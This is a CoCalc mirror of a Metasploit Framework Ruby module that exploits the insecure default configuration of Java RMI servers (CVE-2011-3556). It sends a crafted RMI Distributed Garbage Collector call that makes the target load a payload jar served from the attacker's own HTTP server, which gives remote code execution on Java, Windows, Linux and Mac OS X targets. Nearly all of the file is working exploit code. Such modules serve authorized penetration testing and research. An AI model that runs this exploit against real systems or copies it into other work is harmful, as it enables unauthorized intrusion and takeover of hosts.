CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Java::Rmi::Client
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::Remote::CheckModule
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
16
'Description' => %q{
17
This module takes advantage of the default configuration of the RMI Registry and
18
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
19
invokes a method in the RMI Distributed Garbage Collector which is available via every
20
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
21
(custom) RMI endpoints as well.
22
23
Note that it does not work against Java Management Extension (JMX) ports since those do
24
not support remote class loading, unless another RMI endpoint is active in the same
25
Java process.
26
27
RMI method calls do not support or require any sort of authentication.
28
},
29
'Author' => [ 'mihi' ],
30
'License' => MSF_LICENSE,
31
'References' =>
32
[
33
# RMI protocol specification
34
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
35
[ 'URL', 'http://www.securitytracker.com/id?1026215'],
36
[ 'CVE', '2011-3556']
37
],
38
'DisclosureDate' => '2011-10-15',
39
'Platform' => %w{ java linux osx solaris win },
40
'Privileged' => false,
41
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
42
'Stance' => Msf::Exploit::Stance::Aggressive,
43
'DefaultOptions' =>
44
{
45
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
46
'WfsDelay' => 10
47
},
48
'Targets' =>
49
[
50
[ 'Generic (Java Payload)',
51
{
52
'Platform' => ['java'],
53
'Arch' => ARCH_JAVA
54
}
55
],
56
[ 'Windows x86 (Native Payload)',
57
{
58
'Platform' => 'win',
59
'Arch' => ARCH_X86,
60
}
61
],
62
[ 'Linux x86 (Native Payload)',
63
{
64
'Platform' => 'linux',
65
'Arch' => ARCH_X86,
66
}
67
],
68
[ 'Mac OS X PPC (Native Payload)',
69
{
70
'Platform' => 'osx',
71
'Arch' => ARCH_PPC,
72
}
73
],
74
[ 'Mac OS X x86 (Native Payload)',
75
{
76
'Platform' => 'osx',
77
'Arch' => ARCH_X86,
78
}
79
]
80
],
81
'DefaultTarget' => 0
82
))
83
register_options([
84
Opt::RPORT(1099),
85
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
86
])
87
register_common_rmi_ports_and_services
88
end
89
90
def exploit
91
begin
92
Timeout.timeout(datastore['HTTPDELAY']) { super }
93
rescue Timeout::Error
94
# When the server stops due to our timeout, re-raise
95
# RuntimeError so it won't wait the full wfs_delay
96
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
97
rescue Msf::Exploit::Failed
98
# When the server stops due primer failing, re-raise
99
# RuntimeError so it won't wait the full wfs_delays
100
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
101
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
102
# When the primer fails due to an error connecting with
103
# the rhost, re-raise RuntimeError so it won't wait the
104
# full wfs_delays
105
raise ::RuntimeError, e.message
106
end
107
end
108
109
def primer
110
connect
111
112
print_status("Sending RMI Header...")
113
send_header
114
ack = recv_protocol_ack
115
if ack.nil?
116
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
117
end
118
119
jar = rand_text_alpha(rand(8)+1) + '.jar'
120
new_url = get_uri + '/' + jar
121
122
print_status("Sending RMI Call...")
123
dgc_interface_hash = calculate_interface_hash(
124
[
125
{
126
name: 'clean',
127
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
128
exceptions: ['java.rmi.RemoteException']
129
},
130
{
131
name: 'dirty',
132
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
133
exceptions: ['java.rmi.RemoteException']
134
}
135
]
136
)
137
138
# JDK 1.1 stub protocol
139
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
140
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
141
send_call(
142
object_number: 2,
143
uid_number: 0,
144
uid_time: 0,
145
uid_count: 0,
146
operation: 0,
147
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
148
arguments: build_dgc_clean_args(new_url)
149
)
150
151
return_value = recv_return
152
153
if return_value.nil? && !session_created?
154
fail_with(Failure::Unknown, 'RMI Call failed')
155
end
156
157
if return_value && return_value.is_exception? && loader_disabled?(return_value)
158
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
159
end
160
161
if return_value && return_value.is_exception? && class_not_found?(return_value)
162
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
163
end
164
165
disconnect
166
end
167
168
def on_request_uri(cli, request)
169
if request.uri =~ /\.jar$/i
170
p = regenerate_payload(cli)
171
jar = p.encoded_jar
172
paths = [
173
[ "metasploit", "RMILoader.class" ],
174
[ "metasploit", "RMIPayload.class" ],
175
]
176
177
jar.add_file('metasploit/', '') # create metasploit dir
178
paths.each do |path_parts|
179
path = ['java', path_parts].flatten.join('/')
180
contents = ::MetasploitPayloads.read(path)
181
jar.add_file(path_parts.join('/'), contents)
182
end
183
184
send_response(cli, jar.pack,
185
{
186
'Content-Type' => 'application/java-archive',
187
'Connection' => 'close',
188
'Pragma' => 'no-cache'
189
})
190
191
print_status("Replied to request for payload JAR")
192
cleanup_service
193
end
194
end
195
196
def autofilter
197
return true
198
end
199
200
def loader_disabled?(return_value)
201
return_value.value.each do |exception|
202
if exception.class == Rex::Java::Serialization::Model::NewObject &&
203
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
204
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
205
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
206
exception.class_data[1].contents.include?('RMI class loader disabled')
207
return true
208
end
209
end
210
211
false
212
end
213
214
def class_not_found?(return_value)
215
return_value.value.each do |exception|
216
if exception.class == Rex::Java::Serialization::Model::NewObject &&
217
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
218
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
219
return true
220
end
221
end
222
223
false
224
end
225
226
def build_dgc_clean_args(jar_url)
227
arguments = []
228
229
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
230
new_array_annotation.contents = [
231
Rex::Java::Serialization::Model::NullReference.new,
232
Rex::Java::Serialization::Model::EndBlockData.new
233
]
234
235
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
236
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
237
238
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
239
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
240
new_array_desc.serial_version = 0x871300b8d02c647e
241
new_array_desc.flags = 2
242
new_array_desc.fields = []
243
new_array_desc.class_annotation = new_array_annotation
244
new_array_desc.super_class = new_array_super
245
246
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
247
array_desc.description = new_array_desc
248
249
new_array = Rex::Java::Serialization::Model::NewArray.new
250
new_array.type = 'java.rmi.server.ObjID;'
251
new_array.values = []
252
new_array.array_description = array_desc
253
254
arguments << new_array
255
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
256
257
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
258
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
259
new_class_desc.serial_version = 0xa16544ba26f9c2f4
260
new_class_desc.flags = 2
261
new_class_desc.fields = []
262
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
263
new_class_desc.class_annotation.contents = [
264
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
265
Rex::Java::Serialization::Model::EndBlockData.new
266
]
267
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
268
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
269
270
new_object = Rex::Java::Serialization::Model::NewObject.new
271
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
272
new_object.class_desc.description = new_class_desc
273
new_object.class_data = []
274
275
arguments << new_object
276
277
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
278
279
arguments
280
end
281
end
282
283